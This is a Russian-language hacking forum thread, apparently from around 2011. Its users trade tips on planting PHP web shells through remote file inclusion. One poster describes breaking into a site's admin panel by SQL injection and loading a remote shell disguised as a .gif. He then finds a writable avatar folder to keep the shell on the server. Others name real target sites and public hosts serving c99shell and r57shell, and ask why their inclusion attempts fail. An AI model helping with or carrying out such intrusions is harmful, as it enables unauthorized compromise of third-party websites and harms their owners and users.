Цитата:

Сообщение от rashin

как лутше на безопастность и на отаки проверить?

А это не одно и тоже :hmcool:

unit08, очевидно, скачать этот файл :ag:
Инклуда там нет.

а тут что можна сделать?
http://www.zwicky-stiftung.ch/index....u/c99shell.php

день добрый. проблема заключается в следующем...
через sqli получил доступ к админке на сайт. админка самописная.
в ней можно добавлять так называемые модули.
добавил новый модуль, но вместо локальных скриптов кинул ссылку на файл такого типа: site.com/shell.php.gif
После перехода на модуль, шелл выполнился на сайте с этой самой админкой, но беда в том, что нет прав на запись. Да и при клацании кнопок шелла, тоесть при передаче скрипту каких-либо параметров скрипт просто сбрасывается и отображается главная страница сайта.
что можете посоветовать в этом случае?
З.Ы. Цель поместить шелл все таки в папку сайта, а не инклудить постоянно
На всякий случай еще допишу, что запись в файл через мускул тоже не работает

=====================================

Проблему решил, найдя каталог с аватарами, куда можно было записывать файлы, после чего через заинклуденный скрипт без проблем загрузил его же на сервер.

Добавлено через 10 часов 47 минут
Снова нужна помощь, теперь уже с другим сайтом.
есть инклуд в параметре ?url, только беда в том, что файл 1.php.gif пытается отобразиться как картика, 1.php.txt соответственно как текст. Файлы html тоже отображаются текстом, за исключением тега заднего фона. Печальная ситуация, может кто подскажет как быть?

Такой вопрос по php иньекциям: обязательно ли грузить remview.php на на народ, или можно указать к ней путь прямо у себя на диске?

Например: www.****.in.ua/?cat=D:\remview.php - открылась главная страница сайта.

И еще вопрос: уязвим ли сайт www.****.org/index.php?id=19&tx_ttnews[tt_news]=157&tx_ttnews[backPid]=1&cHash=a01ccef0ab ?

Когда пытаюсь загрузить на него шел с сайта http://kgb-hack.narod.ru/r57shell.php то открывается главная страница, почему?

НЕзнаю туда или нет если что переместите!Hide:
Чтобы просмотреть данный текст, авторизуйтесь на форуме.

Hide:
Чтобы просмотреть данный текст, авторизуйтесь на форуме.

Добавлено через 5 минут
Hide:
Чтобы просмотреть данный текст, авторизуйтесь на форуме.

капец полный все что здесь написано полное фуфло и не работает ни на одном сайте в 2011 году хоть какой шел заливай все ровно пишет Warning: displaycontent(inc/content/http://deviler435.narod2.ru/uroki/shell/Tekstovyi_dokument.php) [function.displaycontent]: failed to open stream: No such file or directory in /web/omronural/site/www/inc/setup.php on line 132

Warning: displaycontent(inc/content/http://deviler435.narod2.ru/uroki/shell/Tekstovyi_dokument.php) [function.displaycontent]: failed to open stream: No such file or directory in /web/omronural/site/www/inc/setup.php on line 132

Warning: displaycontent() [function.include]: Failed opening 'inc/content/http://deviler435.narod2.ru/uroki/shell/Tekstovyi_dokument.php' for inclusion (include_path='.:/usr/local/lib/php/') in /web/omronural/site/www/inc/setup.php on line 132

Добавлено через 3 минуты
и вообще сколько здесь материала бы не было не что не работает

похоже здесь не у одного меня такая проблема может тогда объяснишь почему не один сайт не взламывается этим методом